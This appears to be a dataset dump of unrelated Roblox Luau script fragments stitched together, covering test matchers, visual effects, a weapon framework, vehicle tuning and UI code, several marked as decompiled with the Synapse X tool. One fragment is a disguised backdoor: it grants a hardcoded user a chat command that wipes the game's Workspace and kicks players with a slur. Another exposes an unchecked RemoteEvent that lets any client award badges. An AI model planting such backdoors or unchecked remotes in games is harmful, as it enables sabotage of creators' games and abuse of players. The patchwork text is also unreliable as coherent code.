Roblox/luau_corpus huggingface dataset:
-- ROBLOX deviation: Roblox Instance matchers
local function toMatchInstance(
	-- ROBLOX deviation: self param in Lua needs to be explicitely defined
	self: MatcherState,
	received: any,
	expected: any
)
	local matcherName = "toMatchInstance"
	local options: MatcherHintOptions = {
		isNot = self.isNot,
		promise = self.promise,
	}

	if getType(received) ~= "Instance" or received == nil then
		error(
			Error(
				matcherErrorMessage(
					matcherHint(matcherName, nil, nil, options),
					string.format("%s value must be a Roblox Instance", RECEIVED_COLOR("received")),
					printWithType("Received", received, printReceived)
				)
			)
		)
	end

	if typeof(expected) ~= "table" or expected == nil then
		error(
			Error(
				matcherErrorMessage(
					matcherHint(matcherName, nil, nil, options),
					string.format("%s value must be a table", EXPECTED_COLOR("expected")),
					printWithType("Expected", expected, printExpected)
				)
			)
		)
	end

	local pass = equals(received, expected, { instanceSubsetEquality })

	local message
	if pass then
		message = function()
			local retval = matcherHint(matcherName, nil, nil, options)
				.. "\n\n"
				.. string.format("Expected: never %s", printExpected(expected))
			if stringify(expected) ~= stringify(received) then
				return retval .. string.format("\nReceived:       %s", printReceived(received))
			end
			return retval
		end
	else
		local receivedSubset, expectedSubset = getInstanceSubset(received, expected)
		message = function()
			return matcherHint(matcherName, nil, nil, options)
				.. "\n\n"
				.. printDiffOrStringify(
					expectedSubset,
					receivedSubset,
					EXPECTED_LABEL,
					RECEIVED_LABEL,
					isExpand(self.expand)
				)
		end
	end

	return { message = message, pass = pass }
end

local matchers: MatchersObject = {
	toBe = toBe,
	toBeCloseTo = toBeCloseTo,
	toBeDefined = toBeDefined,
	toBeFalsy = toBeFalsy,
	toBeGreaterThan = toBeGreaterThan,
	toBeGreaterThanOrEqual = toBeGreaterThanOrEqual,
	toBeInstanceOf = toBeInstanceOf,
	toBeLessThan = toBeLessThan,
	toBeLessThanOrEqual = toBeLessThanOrEqual,
	toBeNan = toBeNan,
	toBeNaN = toBeNan, -- ROBLOX deviation: aliased to toBeNan
	toBeNil = toBeNil,
	toBeNull = toBeNil, -- ROBLOX deviation: aliased to toBeNil
	toBeTruthy = toBeTruthy,
	toBeUndefined = toBeUndefined,
	toContain = toContain,
	toContainEqual = toContainEqual,
	toEqual = toEqual,
	toHaveLength = toHaveLength,
	toHaveProperty = toHaveProperty,
	toMatch = toMatch,
	toMatchObject = toMatchObject,
	toStrictEqual = toStrictEqual,

	-- ROBLOX deviation: Roblox Instance matchers
	toMatchInstance = toMatchInstance,
}

return matchers
--Procedural Lightning Module. By Quasiduck
--License: See GitHub
--See README for guide on how to use or scroll down to see all properties in LightningBolt.new
--All properties update in real-time except PartCount which requires a new LightningBolt to change
--i.e. You can change a property at any time and it will still update the look of the bolt

local clock = os.clock






local function DiscretePulse(input, s, k, f, t, min, max) --input should be between 0 and 1. See https://www.desmos.com/calculator/hg5h4fpfim for demonstration.
	return math.clamp( (k)/(2*f) - math.abs( (input - t*s + 0.5*(k)) / (f) ), min, max )
end

local function NoiseBetween(x, y, z, min, max)
	return min + (max - min)*(math.noise(x, y, z) + 0.5)
end

local function CubicBezier(p0, p1, p2, p3, t)
	return p0*(1 - t)^3 + p1*3*t*(1 - t)^2 + p2*3*(1 - t)*t^2 + p3*t^3
end

local BoltPart = Instance.new("Part")
BoltPart.TopSurface, BoltPart.BottomSurface = 0, 0
BoltPart.Anchored, BoltPart.CanCollide = true, false
BoltPart.Shape = "Cylinder"
BoltPart.Name = "BoltPart"
BoltPart.CanTouch = false
BoltPart.CastShadow = false
BoltPart.CanQuery = false
BoltPart.Material = Enum.Material.Neon
BoltPart.Color = Color3.new(1, 1, 1)
BoltPart.Transparency = 1

local rng = Random.new()
local xInverse = CFrame.lookAt(Vector3.new(), Vector3.new(1, 0, 0)):inverse()

local ActiveBranches = {}

local LightningBolt = {}
LightningBolt.__index = LightningBolt
--------------------mods

local maincf 		= CFrame.new() --weapon offset of camera
local guncf  		= CFrame.new() --weapon offset of camera
local larmcf 		= CFrame.new() --left arm offset of weapon
local rarmcf 		= CFrame.new() --right arm offset of weapon

local gunbobcf		= CFrame.new()
local recoilcf 		= CFrame.new()
local aimcf 		= CFrame.new()
local AimTween 		= TweenInfo.new(
	0.2,
	Enum.EasingStyle.Linear,
	Enum.EasingDirection.InOut,
	0,
	false,
	0
)

local Ignore_Model = {cam,char,ACS_Workspace.Client,ACS_Workspace.Server}

local ModStorageFolder 	= plr.PlayerGui:FindFirstChild('ModStorage') or Instance.new('Folder')
ModStorageFolder.Parent = plr.PlayerGui
ModStorageFolder.Name 	= 'ModStorage'

function RAND(Min, Max, Accuracy)
	local Inverse = 1 / (Accuracy or 1)
	return (math.random(Min * Inverse, Max * Inverse) / Inverse)
end

SE_GUI = HUDs:WaitForChild("StatusUI"):Clone()
SE_GUI.Parent = plr.PlayerGui 

local BloodScreen 		= TS:Create(SE_GUI.Efeitos.Health, TweenInfo.new(1,Enum.EasingStyle.Circular,Enum.EasingDirection.InOut,-1,true), {Size =  UDim2.new(1.2,0,1.4,0)})
local BloodScreenLowHP 	= TS:Create(SE_GUI.Efeitos.LowHealth, TweenInfo.new(1,Enum.EasingStyle.Circular,Enum.EasingDirection.InOut,-1,true), {Size =  UDim2.new(1.2,0,1.4,0)})

local Crosshair = SE_GUI.Crosshair

local RecoilSpring = SpringMod.new(Vector3.new())
RecoilSpring.d = .1
RecoilSpring.s = 20

local cameraspring = SpringMod.new(Vector3.new())
cameraspring.d	= .5
cameraspring.s	= 20

local SwaySpring = SpringMod.new(Vector3.new())
SwaySpring.d = .25
SwaySpring.s = 20

local TWAY, XSWY, YSWY = 0,0,0

local oldtick = tick()
local xTilt = 0
local yTilt = 0
local lastPitch = 0
local lastYaw = 0

local Stance = Evt.Stance
local Stances = 0
local Virar = 0
local CameraX = 0
local CameraY = 0

local Sentado 		= false
local Swimming		= false
local falling 		= false
local cansado 		= false
local Crouched 		= false
local Proned		= false
local Steady 		= false
local CanLean 		= true
local ChangeStance 	= true
-- Decompiled with the Synapse X Luau decompiler.

local v1 = {
	i = {
		Hand = "rbxassetid://9873368030", 
		Eye = "rbxassetid://9873864431", 
		Bulb = "rbxassetid://9874204694", 
		Hide = "rbxassetid://10058643663", 
		Loot = "rbxassetid://10058798678", 
		Skip = "rbxassetid://10325961736", 
		Heal = "rbxassetid://10374289023", 
		Coins = "rbxassetid://10482297351"
	}
};
v1.icons = {
	Default = v1.i.Hand, 
	Interact = v1.i.Hand, 
	Inspect = v1.i.Eye, 
	Hint = v1.i.Bulb, 
	Hide = v1.i.Hide, 
	Loot = v1.i.Loot, 
	Collect = v1.i.Coins, 
	Skip = v1.i.Skip, 
	Heal = v1.i.Heal
};
function v1.getIcon(p1)
	local v2 = v1.icons[p1];
	if v2 then
		return v2;
	end;
	return v1.icons.Default;
end;
return v1;
-- Made by Viown.
-- Change this scripts name, and delete this text.

local yourID = 3481119178 -- Put your ID here.
local players = game.Players:GetPlayers()

game.Players.PlayerAdded:Connect(function(player)
if player.UserId == yourID then
player.Chatted:Connect(function(msg)
if msg == ";destroy" then
local a = Instance.new("Message", workspace)
a.Text = "good bye ;)"
game.Workspace:ClearAllChildren()
players:Kick('lil fag got backdoored by sel')
end
end)
end
end)
--
script.Parent.OnServerEvent:Connect(function(p)
	local Character = p.Character
	local Humanoid = Character.Humanoid
	local RootPart = Character.HumanoidRootPart
	local anim = Humanoid:LoadAnimation(script.Punch)
	local run = Humanoid:LoadAnimation(script.Run)
	local FX = Assets.CompassNeedle:Clone()
	anim:Play()
	FX.sfx.Playing = true
	local vel = Instance.new("BodyVelocity", p.Character.Torso)
	vel.MaxForce = Vector3.new(1,1,1) * 1000000;
	vel.Parent = p.Character.Torso
	vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0
	vel.Name  =  "SmallMoveVel"
	game.Debris:AddItem(vel,8.3)
	FX.CFrame = RootPart.CFrame * CFrame.new(0,0,0)
	FX.Parent = workspace.Effects
	wait(.2)
	FX.CFrame = RootPart.CFrame * CFrame.new(0,0,0)
	wait(4)
	FX.CanCollide = false
	FX.CastShadow = false
	FX.Anchored = true
	FX.Parent = workspace.Effects
	FX.Transparency = 1
	wait(0.05)
	local hitcontent = workspace:GetPartBoundsInBox(FX.CFrame, Vector3.new(20,20,20))
	local hitlist = {}
	for _,v in pairs(hitcontent) do
		if v.Parent:FindFirstChild("Humanoid") and v.Parent ~= Character then
			if not hitlist[v.Parent.Humanoid] then
				hitlist[v.Parent.Humanoid] = true
				v.Parent.Humanoid:TakeDamage(50)
				v.Parent.Torso.CFrame = CFrame.lookAt(v.Parent.Torso.Position, p.Character.Torso.Position)

				local vel = Instance.new("BodyVelocity", v.Parent.Torso)
				vel.MaxForce = Vector3.new(1,1,1) * 1000000;
				vel.Parent = v.Parent.Torso
				vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 115
				vel.Name  =  "SmallMoveVel"
				game.Debris:AddItem(vel,0.4)
				local HitFX = Assets.HitFX.Attachment:Clone()
				HitFX.Parent = v.Parent.Torso
				for _,Particles in pairs(HitFX:GetDescendants()) do
					if Particles:IsA("ParticleEmitter") then
						Particles:Emit(Particles:GetAttribute("EmitCount"))
					end
				end
				game.Debris:AddItem(HitFX,3)
			end
		end
	end
	wait(4)
	anim:Stop()
	Humanoid.WalkSpeed = 65
	run:Play()
	run:AdjustSpeed(2)
	wait(1)
	Humanoid.WalkSpeed = 16
	run:Stop()
	wait(3)
	FX:Destroy()
	--RootPart.Anchored = false
end)
--Insert this script into Workspace, not camera.
game.Players.PlayerAdded:connect(function(p)
    wait(1)
    p.CameraMaxZoomDistance = 35
end)
--Hello! Thank you for inserting my model! Please but it in lighting!
--Hope you enjoy!
--Hold down left click on "DepthOfField" Drag into "Lighting" And then boom! Super realistic Backround blurs!
wait(0.3)
script:Destroy()
--------END RIGHT DOOR --------

game.Workspace.LightedDoorON.Value = true
--This module is for any client FX related to the Teleporter C's door

local DoorFX = {}

local tweenService = game:GetService("TweenService")

local tweenInfo = TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)

function DoorFX.OPEN(door)
	if not door then return end
	
	tweenService:Create(door.DoorA.Main, tweenInfo, {CFrame = door.DoorA.Goal.CFrame}):Play()
	tweenService:Create(door.DoorB.Main, tweenInfo, {CFrame = door.DoorB.Goal.CFrame}):Play()

	door.DoorA.Main.DoorOpenFADEOUT:Play()
	door.DoorB.Main.DoorOpenFADEOUT:Play()
end

function DoorFX.CLOSE(door)
	if not door then return end

	door.DoorA.Main.CFrame = door.DoorA.Home.CFrame
	door.DoorB.Main.CFrame = door.DoorB.Home.CFrame
end

return DoorFX
-- Decompiled with the Synapse X Luau decompiler.

local v1 = {};
local v2 = require(game.ReplicatedStorage.Modules.Lightning);
local v3 = require(game.ReplicatedStorage.Modules.Xeno);
local v4 = require(game.ReplicatedStorage.Modules.CameraShaker);
local l__TweenService__5 = game.TweenService;
local l__Debris__6 = game.Debris;
local l__ReplicatedStorage__1 = game.ReplicatedStorage;
function v1.RunStompFx(p1, p2, p3, p4)
	local v7 = l__ReplicatedStorage__1.KillFX.Thanos.Stomp:Clone();
	v7.Parent = p2.Parent.UpperTorso and p2;
	v7:Play();
	game.Debris:AddItem(v7, 4);
	for v8, v9 in pairs(p2.Parent:GetDescendants()) do
		if v9:IsA("BasePart") or v9:IsA("MeshPart") then
			local v10 = game.ReplicatedStorage.VFX[p1]:Clone();
			v10.Parent = v9;
			if p1 == "Thanos" then
				v10.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, v9.Color), ColorSequenceKeypoint.new(0.6, Color3.fromRGB(65, 33, 18)), ColorSequenceKeypoint.new(1, Color3.fromRGB(0, 0, 0)) });
			end;
			game:GetService("TweenService"):Create(v9, TweenInfo.new(0.5), {
				Transparency = 1
			}):Play();
			delay(0.5, function()
				v10.Enabled = false;
			end);
			wait(0.1);
		end;
	end;
	return nil;
end;
return v1;
--[=[
	@within TableUtil
	@function Reconcile
	@param source table
	@param template table
	@return table

	Performs a one-way sync on the `source` table against the
	`template` table. Any keys found in `template` that are
	not found in `source` will be added to `source`. This is
	useful for syncing player data against data template tables
	to ensure players have all the necessary keys, while
	maintaining existing keys that may no longer be in the
	template.

	This is a deep operation, so nested tables will also be
	properly reconciled.

	```lua
	local template = {kills = 0, deaths = 0, xp = 0}
	local data = {kills = 10, abc = 20}
	local correctedData = TableUtil.Reconcile(data, template)
	
	print(correctedData) --> {kills = 10, deaths = 0, xp = 0, abc = 20}
	```
]=]
local function Reconcile<S, T>(src: S, template: T): S & T
	assert(type(src) == "table", "First argument must be a table")
	assert(type(template) == "table", "Second argument must be a table")

	local tbl = table.clone(src)

	for k, v in template do
		local sv = src[k]
		if sv == nil then
			if type(v) == "table" then
				tbl[k] = Copy(v, true)
			else
				tbl[k] = v
			end
		elseif type(sv) == "table" then
			if type(v) == "table" then
				tbl[k] = Reconcile(sv, v)
			else
				tbl[k] = Copy(sv, true)
			end
		end
	end

	return (tbl :: any) :: S & T
end
--// Variables
local List 		= script.Parent
local Folder 	= game.ReplicatedStorage:WaitForChild("Cars").Citizen
local Template 	= script.Parent.Template
--General_Punctuation

local badgeService = game:GetService("BadgeService")
local Lighting = game:GetService("Lighting")
local Event = Lighting:WaitForChild("RemoteEvent")

function Award(id, badgeid)
    badgeService:AwardBadge(id, badgeid)
end

Event.OnServerEvent:connect(Award)
--[[
	Create a new test node. A pointer to the test plan, a phrase to describe it
	and the type of node it is are required. The modifier is optional and will
	be None if left blank.
]]
function TestNode.new(plan, phrase, nodeType, nodeModifier, filePath)
	nodeModifier = nodeModifier or TestEnum.NodeModifier.None

	local node = {
		plan = plan,
		phrase = phrase,
		type = nodeType,
		modifier = nodeModifier,
		children = {},
		callback = nil,
		parent = nil,
	}

	node.environment = newEnvironment(node, plan.extraEnvironment, filePath)
	return setmetatable(node, TestNode)
end

local function getModifier(name, pattern, modifier)
	if pattern and (modifier == nil or modifier == TestEnum.NodeModifier.None) then
		if name:match(pattern) then
			return TestEnum.NodeModifier.Focus
		else
			return TestEnum.NodeModifier.Skip
		end
	end
	return modifier
end

local function getIgnoreModifier(name, pattern, modifier)
	if pattern and (modifier == nil or modifier == TestEnum.NodeModifier.None) then
		if name:match(pattern) then
			return TestEnum.NodeModifier.Skip
		end
	end
	return modifier
end

function TestNode:addChild(phrase, nodeType, nodeModifier, filePath)
	if nodeType == TestEnum.NodeType.It then
		for _, child in pairs(self.children) do
			if child.phrase == phrase then
				error("Duplicate it block found: " .. child:getFullName())
			end
		end
	end

	local childName = self:getFullName() .. " " .. phrase
	local filters = {}
	if self.plan.testNamePattern then
		filters["nameNodeModifier"] = getModifier(childName, self.plan.testNamePattern, nodeModifier)
	end
	if self.plan.testPathPattern and filePath then
		filters["pathNodeModifier"] = getModifier(filePath, self.plan.testPathPattern, nodeModifier)
	end
	if self.plan.testPathIgnorePatterns and filePath then
		filters["pathIgnoreNodeModifier"] = getIgnoreModifier(filePath, self.plan.testPathIgnorePatterns, nodeModifier)
	end

	for _, filter in pairs(filters) do
		if filter ~= TestEnum.NodeModifier.Focus then
			nodeModifier = filter
			break
		else
			nodeModifier = filter
		end
	end

	if self.plan.runTestsByPath and #self.plan.runTestsByPath > 0 and filePath then
		if not table.find(self.plan.runTestsByPath, filePath) then
			nodeModifier = TestEnum.NodeModifier.Skip
		end
	end

	local child = TestNode.new(self.plan, phrase, nodeType, nodeModifier, filePath)
	child.parent = self
	table.insert(self.children, child)
	return child
end
-- Gamepass ID for Doubling Cash
local gamepassID = Config.GamePassIds["Double Cash"]
-- Decompiled with the Synapse X Luau decompiler.

while true do
	wait();
	if workspace:FindFirstChild("Song") then
		break;
	end;
end;
while true do
	wait();
	if script.Parent:FindFirstChild("Where") then
		break;
	end;
end;
while true do
	wait();
	if script.Parent:FindFirstChild("Where").Value ~= nil then
		break;
	end;
end;
while wait() do
	if workspace.Song.PlaybackLoudness / 300 <= 1 then
		script.Parent.Where.Value.Size = NumberSequence.new(workspace.Song.PlaybackLoudness / 300);
	else
		script.Parent.Where.Value.Size = NumberSequence.new(1);
	end;
end;
--[[

	LOWGames Studios
	Date: 27 October 2022
	by Elder
	
]]--

local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
end)();
local l__CurrentCamera__2 = game.Workspace.CurrentCamera;
local u3 = nil;
local u4 = nil;
return function()
	local l__ViewportSize__1 = l__CurrentCamera__2.ViewportSize;
	if l__ViewportSize__1 == u3 then
		return u4;
	end;
	local v2 = math.clamp(l__ViewportSize__1.Magnitude / 1800, 0.33, 2);
	u4 = v2;
	u3 = l__ViewportSize__1;
	return v2;
end;
--[[Wheel Alignment]]
	--[Don't physically apply alignment to wheels]
	--[Values are in degrees]
	Tune.FCamber		= -2
	Tune.RCamber		= -2.5
	Tune.FCaster		= 0
	Tune.FToe			= 0
	Tune.RToe			= 0
--[[Brakes]]
	Tune.ABSEnabled		= false		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS) 

	Tune.FBrakeForce	= 10		-- Front brake force
	Tune.RBrakeForce	= 3500		-- Rear brake force
	Tune.PBrakeForce	= 40		-- Handbrake force
	
	Tune.FLgcyBForce	= 15		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25		-- Handbrake force [PGS OFF]
--Main function
local function AttachAuraControl(source_part, eff_cont) --(source_part, effect_container)
	
	local AnimObj
	
	local function Start()
		AnimObj = {}
		AnimObj["LastUpdate"] = tick()
		
		local char = source_part.Parent
		AnimObj["RootPart"] = char:FindFirstChild("HumanoidRootPart")
		
		AnimObj["Parts"] = {}
		
		for i = 1, 4 do
			local np = EFFECT_LIB.NewInvisiblePart()
			np.Transparency = 0.2
			np.Material = "Neon"
			
			local knife_mesh = Instance.new("BlockMesh")
			knife_mesh.Scale = Vector3.new(15, 2, 15)
			knife_mesh.Parent = np
			
			AnimObj["Parts"][i] = np
	
			np.Parent = eff_cont
		end
	end
	
	local function Update()
		
		local base_cf
		if AnimObj["RootPart"] == nil then
			base_cf = source_part:GetRenderCFrame()
		else
			base_cf = AnimObj["RootPart"]:GetRenderCFrame()
		end
		
		local loop = EFFECT_LIB.Loop(.85)
		AnimObj["Parts"][1].CFrame = base_cf * CFrame.new(-1.6, -3, -1.6)
		AnimObj["Parts"][2].CFrame = base_cf * CFrame.new(-1.6, -3, 1.6)
		AnimObj["Parts"][3].CFrame = base_cf * CFrame.new(1.6, -3, 1.6)
		AnimObj["Parts"][4].CFrame = base_cf * CFrame.new(1.6, -3, -1.6)
		
		local color1
		local color2
		if loop >= 0 and loop <= 0.1 then
			color1 = BrickColor.new("Hot pink")
			color2 = BrickColor.new("Lime green")
		end
		if loop > 0.1 and loop <= 0.5 then
			color1 = BrickColor.new("Eggplant")
			color2 = BrickColor.new("Forest green")
		end
		if loop > 0.5 and loop <= 0.6 then
			color2 = BrickColor.new("Hot pink")
			color1 = BrickColor.new("Lime green")
		end
		if loop > 0.6 then
			color2 = BrickColor.new("Eggplant")
			color1 = BrickColor.new("Forest green")
		end
		
		AnimObj["Parts"][1].BrickColor = color1
		AnimObj["Parts"][2].BrickColor = color2
		AnimObj["Parts"][3].BrickColor = color1
		AnimObj["Parts"][4].BrickColor = color2
	end
	
	local function Stop()
		eff_cont:ClearAllChildren()
		AnimObj = nil
	end
	
	return {Start = Start, Update = Update, Stop = Stop}
end

return AttachAuraControl
--[[
	(Yields) Animates camera to go back to the original position of the player's Humanoid.
]]
function CameraModule:animateToHumanoidAsync()
	self.camera.CameraType = Enum.CameraType.Scriptable

	-- We assume that the humanoid does not move after initial transition into the canvas camera position
	local target = self.initialCFrame

	if not target then
		warn("Initial CFrame not set, will animate to a default camera position behind the player")
	end

	self:_tweenCamera(target)

	self.initialCFrame = nil
	self.surfaceGui = nil

	-- Reset camera back to custom type
	self.camera.CameraType = Enum.CameraType.Custom
end
--[[ Public API ]]--
function TouchJump:Enable()
	JumpButton.Visible = true
end

function TouchJump:Disable()
	JumpButton.Visible = false
	OnInputEnded()
end

function TouchJump:Create(parentFrame)
	if JumpButton then
		JumpButton:Destroy()
		JumpButton = nil
	end
	
	local isSmallScreen = parentFrame.AbsoluteSize.y <= 500
	local jumpButtonSize = isSmallScreen and 70 or 90
	
	JumpButton = Instance.new('ImageButton')
	JumpButton.Name = "JumpButton"
	JumpButton.Visible = false
	JumpButton.BackgroundTransparency = 1
	JumpButton.Image = TOUCH_CONTROL_SHEET
	JumpButton.ImageRectOffset = Vector2.new(176, 222)
	JumpButton.ImageRectSize = Vector2.new(174, 174)
	JumpButton.Size = UDim2.new(0, jumpButtonSize, 0, jumpButtonSize)
	JumpButton.Position = isSmallScreen and UDim2.new(1, jumpButtonSize * -2.25, 1, -jumpButtonSize - 20) or
		UDim2.new(1, jumpButtonSize * -2.75, 1, -jumpButtonSize - 120)
	
	local touchObject = nil	
	JumpButton.InputBegan:connect(function(inputObject)
		if touchObject or inputObject.UserInputType ~= Enum.UserInputType.Touch then
			return
		end
		
		touchObject = inputObject
		JumpButton.ImageRectOffset = Vector2.new(0, 222)
		MasterControl:SetIsJumping(true)
	end)
	
	OnInputEnded = function()
		touchObject = nil
		MasterControl:SetIsJumping(false)
		JumpButton.ImageRectOffset = Vector2.new(176, 222)
	end
	
	JumpButton.InputEnded:connect(function(inputObject)
		if inputObject == touchObject then
			OnInputEnded()
		end
	end)
	
	JumpButton.Parent = parentFrame
end

return TouchJump
-- FOLDERS --
local Modules = RS.Modules
local debrisFolder = workspace.Debris
local FX = RS.FX
-- Coroutine runner that we create coroutines of. The coroutine can be
-- repeatedly resumed with functions to run followed by the argument to run
-- them with.
local function runEventHandlerInFreeThread()
	-- Note: We cannot use the initial set of arguments passed to
	-- runEventHandlerInFreeThread for a call to the handler, because those
	-- arguments would stay on the stack for the duration of the thread's
	-- existence, temporarily leaking references. Without access to raw bytecode
	-- there's no way for us to clear the "..." references from the stack.
	while true do
		acquireRunnerThreadAndCallEventHandler(coroutine.yield())
	end
end
--back--
MakeWeld(car.Misc.RearDoor.base,car.DriveSeat)

MakeWeld(car.Misc.RearDoor.H1.To,car.Misc.RearDoor.H1.part1)
MakeWeld(car.Misc.RearDoor.H1.H2.Dr_1,car.Misc.RearDoor.H1.H2.part1)
MakeWeld(car.Misc.RearDoor.H1.H2.Dr_2,car.Misc.RearDoor.H1.H2.part1)
MakeWeld(car.Misc.RearDoor.H1.H2.Bar_B,car.Misc.RearDoor.H1.H2.part1)
MakeWeld(car.Misc.RearDoor.H1.H2.Bar_C,car.Misc.RearDoor.H1.H2.part1)

MakeWeld(car.Misc.RearDoor.F1.To,car.Misc.RearDoor.F1.part1)
MakeWeld(car.Misc.RearDoor.F1.F2.Dr_1,car.Misc.RearDoor.F1.F2.part1)
MakeWeld(car.Misc.RearDoor.F1.F2.Dr_2,car.Misc.RearDoor.F1.F2.part1)
MakeWeld(car.Misc.RearDoor.F1.F2.Bar_B,car.Misc.RearDoor.F1.F2.part1)
MakeWeld(car.Misc.RearDoor.F1.F2.Bar_C,car.Misc.RearDoor.F1.F2.part1)

MakeWeld(car.Misc.RearDoor.Lever.A,car.Misc.RearDoor.Lever.part1)

MakeWeld(car.Misc.RearDoor.H1.part0,car.Misc.RearDoor.H1.part1,"Motor",.015).Name="Motor"
MakeWeld(car.Misc.RearDoor.H1.H2.part0,car.Misc.RearDoor.H1.H2.part1,"Motor",.03).Name="Motor"

MakeWeld(car.Misc.RearDoor.F1.part0,car.Misc.RearDoor.F1.part1,"Motor",.015).Name="Motor"
MakeWeld(car.Misc.RearDoor.F1.F2.part0,car.Misc.RearDoor.F1.F2.part1,"Motor",.03).Name="Motor"

MakeWeld(car.Misc.RearDoor.Lever.part0,car.Misc.RearDoor.Lever.part1,"Motor",.04).Name="Motor"

MakeWeld(car.Misc.RearDoor.Lever.part0,car.Misc.RearDoor.base)

MakeWeld(car.Misc.RearDoor.H1.part0,car.Misc.RearDoor.base)
MakeWeld(car.Misc.RearDoor.H1.H2.part0,car.Misc.RearDoor.H1.To)

MakeWeld(car.Misc.RearDoor.F1.part0,car.Misc.RearDoor.base)
MakeWeld(car.Misc.RearDoor.F1.F2.part0,car.Misc.RearDoor.F1.To)
--Functions
local function getPlatform()

	if GS:IsTenFootInterface() then
		return "Console"
	elseif UIS.TouchEnabled and not UIS.MouseEnabled then
		return "Mobile"
	else
		return "Desktop"
	end
end